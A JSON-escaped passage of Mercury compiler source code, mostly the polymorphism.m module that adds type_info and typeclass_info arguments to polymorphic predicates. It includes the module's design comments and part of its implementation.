!IO),\n    io.write_string(Str, !IO),\n    io.write_char('\\n', !IO),\n    write_tabbed_lines(Strs, !IO).\n\n%-----------------------------------------------------------------------------%\n:- end_module libs.options.\n%-----------------------------------------------------------------------------%\n"
  },
  {
    "path": "samples/Mercury/polymorphism.m",
    "content": "%-----------------------------------------------------------------------------%\n% vim: ft=mercury ts=4 sw=4 et\n%-----------------------------------------------------------------------------%\n% Copyright (C) 1995-2012 The University of Melbourne.\n% This file may only be copied under the terms of the GNU General\n% Public License - see the file COPYING in the Mercury distribution.\n%-----------------------------------------------------------------------------%\n%\n% File: polymorphism.m.\n% Main authors: fjh and zs.\n%\n% This module is a pass over the HLDS.\n% It does a syntactic transformation to implement polymorphism, including\n% typeclasses, by passing extra `type_info' and `typeclass_info' arguments.\n% These arguments are structures that contain, amongst other things,\n% higher order predicate terms for the polymorphic procedures or methods.\n%\n% See notes/type_class_transformation.html for a description of the\n% transformation and data structures used to implement type classes.\n%\n% XXX The way the code in this module handles existential type classes\n% and type class constraints is a bit ad hoc, in general; there are\n% definitely parts of this code (marked with XXXs below) that could\n% do with a rewrite to make it more consistent and hence more maintainable.\n%\n%-----------------------------------------------------------------------------%\n%\n% Transformation of polymorphic code:\n%\n% Every polymorphic predicate is transformed so that it takes one additional\n% argument for every type variable in the predicate's type declaration.\n% The argument gives information about the type, including higher order\n% predicate variables for each of the builtin polymorphic operations\n% (currently unify/2, compare/3).\n%\n%-----------------------------------------------------------------------------%\n%\n% Representation of type information:\n%\n% IMPORTANT: ANY CHANGES TO THE DOCUMENTATION HERE MUST BE REFLECTED BY\n% SIMILAR CHANGES TO THE #defines IN \"runtime/mercury_type_info.h\" AND\n% TO THE TYPE SPECIALIZATION CODE IN \"compiler/higher_order.m\".\n%\n% Type information is represented using one or two cells. The cell which\n% is always present is the type_ctor_info structure, whose structure is\n% defined in runtime/mercury_type_info.h. The other cell is the type_info\n% structure, laid out like this:\n%\n%   word 0      <pointer to the type_ctor_info structure>\n%   word 1+     <the type_infos for the type params, at least one>\n%\n%   (but see note below for how variable arity types differ)\n%\n%-----------------------------------------------------------------------------%\n%\n% Optimization of common case (zero arity types):\n%\n% The type_info structure itself is redundant if the type has no type\n% parameters (i.e. its arity is zero). Therefore if the arity is zero,\n% we pass the address of the type_ctor_info structure directly, instead of\n% wrapping it up in another cell. The runtime system will look at the first\n% field of the cell it is passed. If this field is zero, the cell is a\n% type_ctor_info structure for an arity zero type. If this field is not zero,\n% the cell is a new type_info structure, with the first field being the\n% pointer to the type_ctor_info structure.\n%\n%-----------------------------------------------------------------------------%\n%\n% Variable arity types:\n%\n% There is a slight variation on this for variable-arity type constructors, of\n% there are exactly three: pred, func and tuple. Typeinfos of these types\n% always have a pointer to the pred/0, func/0 or tuple/0 type_ctor_info,\n% regardless of their true arity, so we store the real arity in the type_info\n% as well.\n%\n%   word 0      <pointer to the arity 0 type_ctor_info structure>\n%   word 1      <arity of predicate>\n%   word 2+     <the type_infos for the type params, if any>\n%\n%-----------------------------------------------------------------------------%\n%\n% Sharing type_ctor_info structures:\n%\n% For compilation models that can put code addresses in static ground terms,\n% we can arrange to create one copy of the type_ctor_info structure statically,\n% avoiding the need to create other copies at runtime. For compilation models\n% that cannot put code addresses in static ground terms, there are a couple\n% of things we could do:\n%\n%   1. allocate all cells at runtime.\n%   2. use a shared static type_ctor_info, but initialize its code\n%      addresses during startup (that is, during the module\n%      initialization code).\n%\n% We use option 2.\n%\n%-----------------------------------------------------------------------------%\n%\n% Example of transformation:\n%\n% Take the following code as an example, ignoring the requirement for\n% superhomogeneous form for clarity:\n%\n%   :- pred p(T1).\n%   :- pred q(T2).\n%   :- pred r(T3).\n%\n%   p(X) :- q([X]), r(0).\n%\n% We add an extra argument for each type variable:\n%\n%   :- pred p(type_info(T1), T1).\n%   :- pred q(type_info(T2), T2).\n%   :- pred r(type_info(T3), T3).\n%\n% We transform the body of p to this:\n%\n%   p(TypeInfoT1, X) :-\n%       TypeCtorInfoT2 = type_ctor_info(list/1),\n%       TypeInfoT2 = type_info(TypeCtorInfoT2, TypeInfoT1),\n%       q(TypeInfoT2, [X]),\n%       TypeInfoT3 = type_ctor_info(int/0),\n%       r(TypeInfoT3, 0).\n%\n% Note that type_ctor_infos are actually generated as references to a\n% single shared type_ctor_info.\n%\n%-----------------------------------------------------------------------------%\n%-----------------------------------------------------------------------------%\n%\n% Transformation of code using existentially quantified types:\n%\n% The transformation for existential types is similar to the transformation\n% for universally quantified types, except that the type_infos and\n% type_class_infos have mode `out' rather than mode `in'.\n%\n% The argument passing convention is that the new parameters\n% introduced by this pass are placed in the following order:\n%\n%   First the type_infos for unconstrained universally quantified type\n%   variables, in the order that the type variables first appear in the\n%   argument types;\n%\n%   then the type_infos for unconstrained existentially quantified type\n%   variables, in the order that the type variables first appear in the\n%   argument types;\n%\n%   then the typeclass_infos for universally quantified constraints,\n%   in the order that the constraints appear in the class context;\n%\n%   then the typeclass_infos for existentially quantified constraints,\n%   in the order that the constraints appear in the class context;\n%\n%   and finally the original arguments of the predicate.\n%\n% Bear in mind that for the purposes of this (and most other) calculations,\n% the return parameter of a function counts as the _last_ argument.\n%\n% The convention for class method implementations is slightly different\n% to match the order that the type_infos and typeclass_infos are passed\n% in by do_call_class_method (in runtime/mercury_ho_call.c):\n%\n%   First the type_infos for the unconstrained type variables in the\n%   instance declaration, in the order that the type variables first appear\n%   in the instance arguments;\n%\n%   then the typeclass_infos for the class constraints on the instance\n%   declaration, in the order that the constraints appear in the declaration;\n%\n%   then the remainder of the arguments as above.\n%\n%-----------------------------------------------------------------------------%\n%-----------------------------------------------------------------------------%\n\n:- module check_hlds.polymorphism.\n:- interface.\n\n:- import_module hlds.\n:- import_module hlds.hlds_goal.\n:- import_module hlds.hlds_module.\n:- import_module hlds.hlds_pred.\n:- import_module hlds.hlds_rtti.\n:- import_module mdbcomp.\n:- import_module mdbcomp.prim_data.\n:- import_module parse_tree.\n:- import_module parse_tree.prog_data.\n\n:- import_module list.\n:- import_module maybe.\n:- import_module term.\n\n%-----------------------------------------------------------------------------%\n\n    % Run the polymorphism pass over the whole HLDS.\n    %\n:- pred polymorphism_process_module(module_info::in, module_info::out) is det.\n\n    % Run the polymorphism pass over a single pred. This is used to transform\n    % clauses introduced by unify_proc.m for complicated unification predicates\n    % for types for which unification predicates are generated lazily.\n    %\n    % This predicate should be used with caution. polymorphism.m expects that\n    % the argument types of called predicates have not been transformed yet.\n    % This predicate will not work correctly after the original pass of\n    % polymorphism has been run if the predicate to be processed calls\n    % any polymorphic predicates which require type_infos or typeclass_infos\n    % to be added to the argument list.\n    %\n:- pred polymorphism_process_generated_pred(pred_id::in,\n    module_info::in, module_info::out) is det.\n\n    % Add the type_info variables for a complicated unification to\n    % the appropriate fields in the unification and the goal_info.\n    %\n:- pred unification_typeinfos_rtti_varmaps(mer_type::in, rtti_varmaps::in,\n    unification::in, unification::out, hlds_goal_info::in, hlds_goal_info::out)\n    is det.\n\n    % Add the type_info variables for a new call goal. This predicate assumes\n    % that process_module has already been run so the called pred has already\n    % been processed.\n    %\n    % XXX This predicate does not yet handle calls whose arguments include\n    % existentially quantified types or type class constraints.\n    %\n:- pred polymorphism_process_new_call(pred_info::in, proc_info::in,\n    pred_id::in, proc_id::in, list(prog_var)::in, builtin_state::in,\n    maybe(call_unify_context)::in, sym_name::in, hlds_goal_info::in,\n    hlds_goal::out, poly_info::in, poly_info::out) is det.\n\n    % Given a list of types, create a list of variables to hold the type_info\n    % for those types, and create a list of goals to initialize those type_info\n    % variables to the appropriate type_info structures for the types.\n    % Update the varset and vartypes accordingly.\n    %\n:- pred polymorphism_make_type_info_vars(list(mer_type)::in, term.context::in,\n    list(prog_var)::out, list(hlds_goal)::out, poly_info::in, poly_info::out)\n    is det.\n\n    % Likewise, but for a single type.\n    %\n:- pred polymorphism_make_type_info_var(mer_type::in, term.context::in,\n    prog_var::out, list(hlds_goal)::out, poly_info::in, poly_info::out) is det.\n\n:- type int_or_var\n    --->    iov_int(int)\n    ;       iov_var(prog_var).\n\n    % gen_extract_type_info(ModuleInfo, TypeVar, Kind, TypeClassInfoVar,\n    %   IndexIntOrVar, Goals, TypeInfoVar, ...):\n    %\n    % Generate code to extract a type_info variable from a given slot of a\n    % typeclass_info variable, by calling type_info_from_typeclass_info from\n    % private_builtin. TypeVar is the type variable to which this type_info\n    % variable corresponds. Kind is the kind of the type variable.\n    % TypeClassInfoVar is the variable holding the type_class_info.\n    % Index specifies which slot it is. The procedure returns TypeInfoVar,\n    % which is a fresh variable holding the type_info, and Goals, which is\n    % the code generated to initialize TypeInfoVar.\n    %\n:- pred gen_extract_type_info(module_info::in, tvar::in, kind::in,\n    prog_var::in, int_or_var::in, list(hlds_goal)::out, prog_var::out,\n    prog_varset::in, prog_varset::out, vartypes::in, vartypes::out,\n    rtti_varmaps::in, rtti_varmaps::out) is det.\n\n:- type poly_info.\n\n    % Extract some fields from a pred_info and proc_info and use them to\n    % create a poly_info, for use by the polymorphism transformation.\n    %\n:- pred create_poly_info(module_info::in, pred_info::in,\n    proc_info::in, poly_info::out) is det.\n\n    % Update the fields in a pred_info and proc_info with\n    % the values in a poly_info.\n    %\n:- pred poly_info_extract(poly_info::in, pred_info::in, pred_info::out,\n    proc_info::in, proc_info::out, module_info::out) is det.\n\n    % Build the type describing the typeclass_info for the\n    % given prog_constraint.\n    %\n:- pred build_typeclass_info_type(prog_constraint::in, mer_type::out) is det.\n\n    % Check if a type is the `typeclass_info' type introduced by this pass.\n    %\n:- pred type_is_typeclass_info(mer_type::in) is semidet.\n\n    % Check if a type is either the `type_info' type or the\n    % `type_ctor_info' type introduced by this pass.\n    %\n:- pred type_is_type_info_or_ctor_type(mer_type::in) is semidet.\n\n    % Construct the type of the type_info for the given type.\n    %\n:- pred build_type_info_type(mer_type::in, mer_type::out) is det.\n\n    % Look up the pred_id and proc_id for a type specific\n    % unification/comparison/index/initialise predicate.\n    %\n:- pred get_special_proc(mer_type::in, special_pred_id::in,\n    module_info::in, sym_name::out, pred_id::out, proc_id::out) is semidet.\n:- pred get_special_proc_det(mer_type::in, special_pred_id::in,\n    module_info::in, sym_name::out, pred_id::out, proc_id::out) is det.\n\n    % Convert a higher order pred term to a lambda goal.\n    %\n:- pred convert_pred_to_lambda_goal(purity::in, lambda_eval_method::in,\n    prog_var::in, pred_id::in, proc_id::in, list(prog_var)::in,\n    list(mer_type)::in, unify_context::in, hlds_goal_info::in, context::in,\n    module_info::in, unify_rhs::out, prog_varset::in, prog_varset::out,\n    vartypes::in, vartypes::out) is det.\n\n    % fix_undetermined_mode_lambda_goal(ProcId, Functor0, Functor, ModuleInfo)\n    %\n    % This is called by mode checking when it figures out which mode that a\n    % lambda goal converted from a higher order pred term should call.\n    % Functor0 must have been produced by `convert_pred_to_lambda_goal'.\n    %\n:- pred fix_undetermined_mode_lambda_goal(proc_id::in,\n    unify_rhs::in(rhs_lambda_goal), unify_rhs::out(rhs_lambda_goal),\n    module_info::in) is det.\n\n    % init_type_info_var(Type, ArgVars, TypeInfoVar, TypeInfoGoal,\n    %   !VarSet, !VarTypes) :-\n    %\n    % Create the unification the constructs the second cell of a type_info\n    % for Type. ArgVars should contain the arguments of this unification.\n    %\n    % This unification WILL lead to the creation of cells on the heap\n    % at runtime.\n    %\n    % The first variable in ArgVars should be bound to the type_ctor_info\n    % for Type's principal type constructor. If that type constructor is\n    % variable arity, the next variable in ArgVars should be bound to an\n    % integer giving Type's actual arity. The remaining variables in\n    % ArgVars should be bound to the type_infos or type_ctor_infos giving\n    % Type's argument types.\n    %\n:- pred init_type_info_var(mer_type::in, list(prog_var)::in,\n    maybe(prog_var)::in, prog_var::out, hlds_goal::out,\n    prog_varset::in, prog_varset::out, vartypes::in, vartypes::out,\n    rtti_varmaps::in, rtti_varmaps::out) is det.\n\n    % init_const_type_ctor_info_var(Type, TypeCtor,\n    %   TypeCtorInfoVar, TypeCtorConsId, TypeCtorInfoGoal,\n    %   !VarSet, !VarTypes, !RttiVarMaps):\n    %\n    % Create the unification (returned as TypeCtorInfoGoal) that binds a\n    % new variable (returned as TypeCtorInfoVar) to the type_ctor_info\n    % representing TypeCtor. This will be the constant represented by\n    % TypeCtorConsId.\n    %\n    % This unification WILL NOT lead to the creation of a cell on the\n    % heap at runtime; it will cause TypeCtorInfoVar to refer to the\n    % statically allocated type_ctor_info cell for the type, allocated\n    % in the module that defines the type.\n    %\n    % We take Type as input for historical reasons: we record Type as\n    % the type whose type constructor TypeCtor is, in the type of\n    % TypeCtorInfoVar.\n    %\n:- pred init_const_type_ctor_info_var(mer_type::in, type_ctor::in,\n    prog_var::out, cons_id::out, hlds_goal::out,\n    prog_varset::in, prog_varset::out, vartypes::in, vartypes::out,\n    rtti_varmaps::in, rtti_varmaps::out) is det.\n\n:- type type_info_kind\n    --->    type_info\n    ;       type_ctor_info.\n\n:- pred new_type_info_var_raw(mer_type::in, type_info_kind::in,\n    prog_var::out, prog_varset::in, prog_varset::out,\n    vartypes::in, vartypes::out, rtti_varmaps::in, rtti_varmaps::out) is det.\n\n%-----------------------------------------------------------------------------%\n%-----------------------------------------------------------------------------%\n\n:- implementation.\n\n:- import_module check_hlds.clause_to_proc.\n:- import_module check_hlds.mode_util.\n:- import_module check_hlds.type_util.\n:- import_module hlds.from_ground_term_util.\n:- import_module hlds.const_struct.\n:- import_module hlds.goal_util.\n:- import_module hlds.hlds_args.\n:- import_module hlds.hlds_clauses.\n:- import_module hlds.hlds_code_util.\n:- import_module hlds.hlds_data.\n:- import_module hlds.instmap.\n:- import_module hlds.passes_aux.\n:- import_module hlds.pred_table.\n:- import_module hlds.quantification.\n:- import_module hlds.special_pred.\n:- import_module libs.\n:- import_module libs.globals.\n:- import_module libs.options.\n:- import_module mdbcomp.goal_path.\n:- import_module mdbcomp.prim_data.\n:- import_module mdbcomp.program_representation.\n:- import_module parse_tree.builtin_lib_types.\n:- import_module parse_tree.prog_mode.\n:- import_module parse_tree.prog_type.\n:- import_module parse_tree.prog_type_subst.\n:- import_module parse_tree.set_of_var.\n\n:- import_module assoc_list.\n:- import_module bool.\n:- import_module int.\n:- import_module io.\n:- import_module map.\n:- import_module pair.\n:- import_module require.\n:- import_module set.\n:- import_module solutions.\n:- import_module string.\n:- import_module term.\n:- import_module varset.\n\n%-----------------------------------------------------------------------------%\n%\n% This whole section just traverses the module structure.\n% We do two passes, the first to fix up the clauses_info and proc_infos\n% (and in fact everything except the pred_info argtypes), the second to fix up\n% the pred_info argtypes. The reason we need two passes is that the first pass\n% looks at the argtypes of the called predicates, and so we need to make\n% sure we don't muck them up before we've finished the first pass.\n\npolymorphism_process_module(!ModuleInfo) :-\n    module_info_get_preds(!.ModuleInfo, Preds0),\n    map.keys(Preds0, PredIds0),\n    list.foldl(maybe_polymorphism_process_pred, PredIds0, !ModuleInfo),\n    module_info_get_preds(!.ModuleInfo, Preds1),\n    map.keys(Preds1, PredIds1),\n    list.foldl(fixup_pred_polymorphism, PredIds1, !ModuleInfo),\n    expand_class_method_bodies(!ModuleInfo).\n\n:- pred maybe_polymorphism_process_pred(pred_id::in,\n    module_info::in, module_info::out) is det.\n\nmaybe_polymorphism_process_pred(PredId, !ModuleInfo) :-\n    module_info_pred_info(!.ModuleInfo, PredId, PredInfo),\n    (\n        PredModule = pred_info_module(PredInfo),\n        PredName = pred_info_name(PredInfo),\n        PredArity = pred_info_orig_arity(PredInfo),\n        no_type_info_builtin(PredModule, PredName, PredArity)\n    ->\n        % Just copy the clauses to the proc_infos.\n        copy_module_clauses_to_procs([PredId], !ModuleInfo)\n    ;\n        polymorphism_process_pred_msg(PredId, !ModuleInfo)\n    ).\n\n%---------------------------------------------------------------------------%\n\n:- pred fixup_pred_polymorphism(pred_id::in,\n    module_info::in, module_info::out) is det.\n\nfixup_pred_polymorphism(PredId, !ModuleInfo) :-\n    % Recompute the arg types by finding the headvars and the var->type mapping\n    % (from the clauses_info) and applying the type mapping to the extra\n    % headvars to get the new arg types. Note that we are careful to only apply\n    % the mapping to the extra head vars, not to the originals, because\n    % otherwise we would stuff up the arg types for unification predicates for\n    % equivalence types.\n\n    module_info_get_preds(!.ModuleInfo, PredTable0),\n    map.lookup(PredTable0, PredId, PredInfo0),\n    pred_info_get_clauses_info(PredInfo0, ClausesInfo0),\n    clauses_info_get_vartypes(ClausesInfo0, VarTypes0),\n    clauses_info_get_headvars(ClausesInfo0, HeadVars),\n\n    pred_info_get_arg_types(PredInfo0, TypeVarSet, ExistQVars, ArgTypes0),\n    proc_arg_vector_partition_poly_args(HeadVars, ExtraHeadVarList,\n        OldHeadVarList),\n\n    lookup_var_types(VarTypes0, ExtraHeadVarList, ExtraArgTypes),\n    ArgTypes = ExtraArgTypes ++ ArgTypes0,\n    pred_info_set_arg_types(TypeVarSet, ExistQVars, ArgTypes,\n        PredInfo0, PredInfo1),\n\n    % If the clauses bind some existentially quantified type variables,\n    % introduce exists_casts goals for affected head variables, including\n    % the new type_info and typeclass_info arguments. Make sure the types\n    % of the internal versions of type_infos for those type variables in the\n    % variable types map are as specific as possible.\n\n    (\n        ExistQVars = [_ | _],\n        % This can fail for unification procedures of equivalence types.\n        lookup_var_types(VarTypes0, OldHeadVarList, OldHeadVarTypes),\n        type_list_subsumes(ArgTypes0, OldHeadVarTypes, Subn),\n        \\+ map.is_empty(Subn)\n    ->\n        pred_info_set_existq_tvar_binding(Subn, PredInfo1, PredInfo2),\n        polymorphism_introduce_exists_casts_pred(!.ModuleInfo, PredInfo2,\n            PredInfo)\n    ;\n        PredInfo = PredInfo1\n    ),\n\n    map.det_update(PredId, PredInfo, PredTable0, PredTable),\n    module_info_set_preds(PredTable, !ModuleInfo).\n\n:- pred polymorphism_introduce_exists_casts_pred(module_info::in,\n    pred_info::in, pred_info::out) is det.\n\npolymorphism_introduce_exists_casts_pred(ModuleInfo, !PredInfo) :-\n    pred_info_get_procedures(!.PredInfo, Procs0),\n    map.map_values_only(\n        (pred(!.ProcInfo::in, !:ProcInfo::out) is det :-\n            % Add the extra goals to each procedure.\n            introduce_exists_casts_proc(ModuleInfo, !.PredInfo, !ProcInfo)\n        ), Procs0, Procs),\n    pred_info_set_procedures(Procs, !PredInfo).\n\n%---------------------------------------------------------------------------%\n\n:- pred polymorphism_process_pred_msg(pred_id::in,\n    module_info::in, module_info::out) is det.\n\npolymorphism_process_pred_msg(PredId, !ModuleInfo) :-\n    % Since polymorphism transforms not just the procedures defined\n    % in the module being compiled, but also all the procedures in\n    % all the imported modules, this message can be printed A LOT,\n    % even though it is almost never of interest.\n    % That is why we enable it only when requested.\n\n    trace [compiletime(flag(\"poly_msgs\")), io(!IO)] (\n        write_pred_progress_message(\"% Transforming polymorphism for \",\n            PredId, !.ModuleInfo, !IO)\n    ),\n    polymorphism_process_pred(PredId, !ModuleInfo).\n\npolymorphism_process_generated_pred(PredId, !ModuleInfo) :-\n    polymorphism_process_pred(PredId, !ModuleInfo),\n    fixup_pred_polymorphism(PredId, !ModuleInfo).\n\n:- mutable(selected_pred, bool, no, ground, [untrailed]).\n:- mutable(level, int, 0, ground, [untrailed]).\n\n:- pred polymorphism_process_pred(pred_id::in,\n    module_info::in, module_info::out) is det.\n\npolymorphism_process_pred(PredId, !ModuleInfo) :-\n    trace [compiletime(flag(\"debug_poly_caches\"))] (\n        promise_pure (\n            % Replace 99999 with the id of the predicate you want to debug.\n            ( pred_id_to_int(PredId) = 15 ->\n                impure set_selected_pred(yes)\n            ;\n                true\n            )\n        )\n    ),\n\n    module_info_pred_info(!.ModuleInfo, PredId, PredInfo0),\n\n    % Run the polymorphism pass over the clauses_info, updating the headvars,\n    % goals, varsets, types, etc., and computing some information in the\n    % poly_info.\n\n    pred_info_get_clauses_info(PredInfo0, ClausesInfo0),\n    polymorphism_process_clause_info(!.ModuleInfo, PredInfo0,\n        ClausesInfo0, ClausesInfo, Info, ExtraArgModes),\n    poly_info_get_module_info(Info, !:ModuleInfo),\n    poly_info_get_const_struct_db(Info, ConstStructDb),\n    module_info_set_const_struct_db(ConstStructDb, !ModuleInfo),\n\n    poly_info_get_typevarset(Info, TypeVarSet),\n    pred_info_set_typevarset(TypeVarSet, PredInfo0, PredInfo1),\n    pred_info_set_clauses_info(ClausesInfo, PredInfo1, PredInfo2),\n\n    % Do a pass over the proc_infos, copying the relevant information\n    % from the clauses_info and the poly_info, and updating all the argmodes\n    % with modes for the extra arguments.\n\n    ProcIds = pred_info_procids(PredInfo2),\n    pred_info_get_procedures(PredInfo2, Procs0),\n    list.foldl(polymorphism_process_proc_in_table(PredInfo2, ClausesInfo,\n        ExtraArgModes), ProcIds, Procs0, Procs),\n    pred_info_set_procedures(Procs, PredInfo2, PredInfo),\n\n    trace [compiletime(flag(\"debug_poly_caches\"))] (\n        promise_pure (\n            impure set_selected_pred(no)\n        )\n    ),\n\n    module_info_set_pred_info(PredId, PredInfo, !ModuleInfo).\n\n:- pred polymorphism_process_clause_info(module_info::in, pred_info::in,\n    clauses_info::in, clauses_info::out, poly_info::out,\n    poly_arg_vector(mer_mode)::out) is det.\n\npolymorphism_process_clause_info(ModuleInfo0, PredInfo0, !ClausesInfo, !:Info,\n        ExtraArgModes) :-\n    init_poly_info(ModuleInfo0, PredInfo0, !.ClausesInfo, !:Info),\n    !.ClausesInfo = clauses_info(_VarSet, ExplicitVarTypes, _TVarNameMap,\n        _VarTypes, HeadVars0, ClausesRep0, ItemNumbers,\n        _RttiVarMaps, HaveForeignClauses),\n\n    setup_headvars(PredInfo0, HeadVars0, HeadVars,\n        ExtraArgModes, UnconstrainedTVars,\n        ExtraTypeInfoHeadVars, ExistTypeClassInfoHeadVars, !Info),\n\n    get_clause_list(ClausesRep0, Clauses0),\n    list.map_foldl(\n        polymorphism_process_clause(PredInfo0, HeadVars0, HeadVars,\n            UnconstrainedTVars, ExtraTypeInfoHeadVars,\n            ExistTypeClassInfoHeadVars),\n        Clauses0, Clauses, !Info),\n\n    % Set the new values of the fields in clauses_info.\n    poly_info_get_varset(!.Info, VarSet),\n    poly_info_get_var_types(!.Info, VarTypes),\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps),\n    set_clause_list(Clauses, ClausesRep),\n    map.init(TVarNameMap), % This is only used while adding the clauses.\n    !:ClausesInfo = clauses_info(VarSet, ExplicitVarTypes, TVarNameMap,\n        VarTypes, HeadVars, ClausesRep, ItemNumbers,\n        RttiVarMaps, HaveForeignClauses).\n\n:- pred polymorphism_process_clause(pred_info::in,\n    proc_arg_vector(prog_var)::in, proc_arg_vector(prog_var)::in,\n    list(tvar)::in, list(prog_var)::in, list(prog_var)::in,\n    clause::in, clause::out, poly_info::in, poly_info::out) is det.\n\npolymorphism_process_clause(PredInfo0, OldHeadVars, NewHeadVars,\n        UnconstrainedTVars, ExtraTypeInfoHeadVars,\n        ExistTypeClassInfoHeadVars, !Clause, !Info) :-\n    ( pred_info_is_imported(PredInfo0) ->\n        true\n    ;\n        Goal0 = !.Clause ^ clause_body,\n\n        % Process any polymorphic calls inside the goal.\n        empty_cache_maps(!Info),\n        poly_info_set_num_reuses(0, !Info),\n        polymorphism_process_goal(Goal0, Goal1, !Info),\n\n        % Generate code to construct the typeclass_infos and type_infos\n        % for existentially quantified type vars.\n        produce_existq_tvars(PredInfo0, OldHeadVars,\n            UnconstrainedTVars, ExtraTypeInfoHeadVars,\n            ExistTypeClassInfoHeadVars, Goal1, Goal2, !Info),\n\n        pred_info_get_exist_quant_tvars(PredInfo0, ExistQVars),\n        fixup_quantification(NewHeadVars, ExistQVars, Goal2, Goal, !Info),\n        !Clause ^ clause_body := Goal\n    ).\n\n:- pred polymorphism_process_proc_in_table(pred_info::in, clauses_info::in,\n    poly_arg_vector(mer_mode)::in, proc_id::in,\n    proc_table::in, proc_table::out) is det.\n\npolymorphism_process_proc_in_table(PredInfo, ClausesInfo, ExtraArgModes,\n        ProcId, !ProcTable) :-\n    map.lookup(!.ProcTable, ProcId, ProcInfo0),\n    polymorphism_process_proc(PredInfo, ClausesInfo, ExtraArgModes, ProcId,\n        ProcInfo0, ProcInfo),\n    map.det_update(ProcId, ProcInfo, !ProcTable).\n\n:- pred polymorphism_process_proc(pred_info::in, clauses_info::in,\n    poly_arg_vector(mer_mode)::in, proc_id::in, proc_info::in, proc_info::out)\n    is det.\n\npolymorphism_process_proc(PredInfo, ClausesInfo, ExtraArgModes, ProcId,\n        !ProcInfo) :-\n    % Copy all the information from the clauses_info into the proc_info.\n    (\n        (\n            pred_info_is_imported(PredInfo)\n        ;\n            pred_info_is_pseudo_imported(PredInfo),\n            hlds_pred.in_in_unification_proc_id(ProcId)\n        )\n    ->\n        % We need to set these fields in the proc_info here, because some parts\n        % of the compiler (e.g. unused_args.m) depend on these fields being\n        % valid even for imported procedures.\n\n        % XXX ARGVEC - when the proc_info uses the proc_arg_vector just\n        % pass the headvar vector directly to the proc_info.\n        clauses_info_get_headvars(ClausesInfo, HeadVars),\n        HeadVarList = proc_arg_vector_to_list(HeadVars),\n        clauses_info_get_rtti_varmaps(ClausesInfo, RttiVarMaps),\n        clauses_info_get_varset(ClausesInfo, VarSet),\n        clauses_info_get_vartypes(ClausesInfo, VarTypes),\n        proc_info_set_headvars(HeadVarList, !ProcInfo),\n        proc_info_set_rtti_varmaps(RttiVarMaps, !ProcInfo),\n        proc_info_set_varset(VarSet, !ProcInfo),\n        proc_info_set_vartypes(VarTypes, !ProcInfo)\n    ;\n        copy_clauses_to_proc(ProcId, ClausesInfo, !ProcInfo)\n    ),\n\n    % Add the ExtraArgModes to the proc_info argmodes.\n    % XXX ARGVEC - revisit this when the proc_info uses proc_arg_vectors.\n    proc_info_get_argmodes(!.ProcInfo, ArgModes1),\n    ExtraArgModesList = poly_arg_vector_to_list(ExtraArgModes),\n    ArgModes = ExtraArgModesList ++ ArgModes1,\n    proc_info_set_argmodes(ArgModes, !ProcInfo).\n\n    % XXX document me\n    %\n    % XXX the following code ought to be rewritten to handle\n    % existential/universal type_infos and type_class_infos\n    % in a more consistent manner.\n    %\n:- pred setup_headvars(pred_info::in, proc_arg_vector(prog_var)::in,\n    proc_arg_vector(prog_var)::out, poly_arg_vector(mer_mode)::out,\n    list(tvar)::out, list(prog_var)::out, list(prog_var)::out,\n    poly_info::in, poly_info::out) is det.\n\nsetup_headvars(PredInfo, !HeadVars, ExtraArgModes,\n        UnconstrainedTVars, ExtraHeadTypeInfoVars,\n        ExistHeadTypeClassInfoVars, !Info) :-\n    pred_info_get_origin(PredInfo, Origin),\n    ExtraArgModes0 = poly_arg_vector_init : poly_arg_vector(mer_mode),\n    (\n        Origin = origin_instance_method(_, InstanceMethodConstraints),\n        setup_headvars_instance_method(PredInfo,\n            InstanceMethodConstraints, !HeadVars,\n            UnconstrainedTVars, ExtraHeadTypeInfoVars,\n            ExistHeadTypeClassInfoVars,\n            ExtraArgModes0, ExtraArgModes, !Info)\n    ;\n        ( Origin = origin_special_pred(_)\n        ; Origin = origin_transformed(_, _, _)\n        ; Origin = origin_created(_)\n        ; Origin = origin_assertion(_, _)\n        ; Origin = origin_lambda(_, _, _)\n        ; Origin = origin_user(_)\n        ),\n        pred_info_get_class_context(PredInfo, ClassContext),\n        InstanceTVars = [],\n        InstanceUnconstrainedTVars = [],\n        InstanceUnconstrainedTypeInfoVars = [],\n        setup_headvars_2(PredInfo, ClassContext, InstanceTVars,\n            InstanceUnconstrainedTVars, InstanceUnconstrainedTypeInfoVars,\n            !HeadVars, UnconstrainedTVars,\n            ExtraHeadTypeInfoVars, ExistHeadTypeClassInfoVars,\n            ExtraArgModes0, ExtraArgModes, !Info)\n    ).\n\n    % For class method implementations, do_call_class_method takes the\n    % type_infos and typeclass_infos from the typeclass_info and pastes them\n    % onto the front of the argument list. We need to match that order here.\n    %\n:- pred setup_headvars_instance_method(pred_info::in,\n    instance_method_constraints::in,\n    proc_arg_vector(prog_var)::in, proc_arg_vector(prog_var)::out,\n    list(tvar)::out, list(prog_var)::out, list(prog_var)::out,\n    poly_arg_vector(mer_mode)::in, poly_arg_vector(mer_mode)::out,\n    poly_info::in, poly_info::out) is det.\n\nsetup_headvars_instance_method(PredInfo,\n        InstanceMethodConstraints, !HeadVars,\n        UnconstrainedTVars, ExtraHeadTypeInfoVars,\n        ExistHeadTypeClassInfoVars, !ExtraArgModes, !Info) :-\n\n    InstanceMethodConstraints = instance_method_constraints(_,\n        InstanceTypes, InstanceConstraints, ClassContext),\n\n    type_vars_list(InstanceTypes, InstanceTVars),\n    get_unconstrained_tvars(InstanceTVars, InstanceConstraints,\n        UnconstrainedInstanceTVars),\n    pred_info_get_arg_types(PredInfo, ArgTypeVarSet, _, _),\n    make_head_vars(UnconstrainedInstanceTVars,\n        ArgTypeVarSet, UnconstrainedInstanceTypeInfoVars, !Info),\n    make_typeclass_info_head_vars(do_record_type_info_locns,\n        InstanceConstraints, InstanceHeadTypeClassInfoVars, !Info),\n\n    proc_arg_vector_set_instance_type_infos(UnconstrainedInstanceTypeInfoVars,\n        !HeadVars),\n    proc_arg_vector_set_instance_typeclass_infos(InstanceHeadTypeClassInfoVars,\n         !HeadVars),\n\n    poly_info_get_rtti_varmaps(!.Info, RttiVarMaps0),\n    list.foldl(rtti_reuse_typeclass_info_var,\n        InstanceHeadTypeClassInfoVars, RttiVarMaps0, RttiVarMaps),\n    poly_info_set_rtti_varmaps(RttiVarMaps, !Info),\n\n    in_mode(InMode),\n    list.duplicate(list.length(UnconstrainedInstanceTypeInfoVars),\n        InMode, UnconstrainedInstanceTypeInfoModes),\n    list.duplicate(list.length(InstanceHeadTypeClassInfoVars),\n        InMode, InstanceHeadTypeClassInfoModes),\n    poly_arg_vector_set_instance_type_infos(\n        UnconstrainedInstanceTypeInfoModes, 